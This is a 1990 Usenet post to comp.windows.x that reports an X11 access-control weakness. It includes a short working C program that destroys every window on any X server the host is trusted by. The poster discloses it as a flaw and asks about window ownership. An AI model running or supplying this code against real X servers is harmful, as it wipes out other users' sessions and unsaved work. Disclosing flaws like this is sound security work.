Path: utzoo!utgpu!jarvis.csri.toronto.edu!cs.utexas.edu!swrinde!zaphod.mps.ohio-state.edu!brutus.cs.uiuc.edu!apple!uokmax!uokmax.ecn.uoknor.edu!randy
From: randy@uokmax.ecn.uoknor.edu (Longshot)
Newsgroups: comp.windows.x
Subject: I'm sure you all know...
Message-ID: <1990Feb8.211508.2581@uokmax.uucp>
Date: 8 Feb 90 21:15:08 GMT
Sender: randy@uokmax.uucp (Longshot)
Organization: Engineering Computer Network, University of Oklahoma, Norman, OK
Lines: 39

This is a potential problem, and I'm sure I'm not the first to find it:

#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <stdio.h>

main(argc,argv)
int argc;
char **argv;
{
	Display *mydisplay;

	mydisplay = XOpenDisplay("");
	if (!mydisplay) {
		fprintf(stderr,"Could not open display.\n");
		exit(1);
	}
	XDestroySubwindows(mydisplay,DefaultRootWindow(mydisplay));
	XCloseDisplay(mydisplay);
}

Needless to say, if you are on a host that is trusted to an X server, this
small segment can wreck them. After this executes, ALL windows on the server
bound to DISPLAY die quickly and completely. I first had someone run this from
his X environment (an xterm running from twm), and then I ran it on an ascii
terminal connected to a host that was trusted to the X server. Obviously, if
a host is not permitted to a sever, this program will die, but here we run our
servers on Suns and Mac II's, and most of the applications on our Encore, which
is faster and can handle the load. The same Multimax averages 60-80 users
during peak hours, any of which who know X could do this. Doesn't X keep some
sort of identifier in a window structure or display structure that identifies
the owner? This is nasty!

Randy
-- 
Randy J. Ray       University of Oklahoma, Norman Campus	(405)/325-5370
!chinet!uokmax!randy	randy@uokmax.uucp    randy@uokmax.ecn.uoknor.edu
Flaming makes you feel better, sorta like popping the little plastic bubbles
in packaging material.	-Tim Perala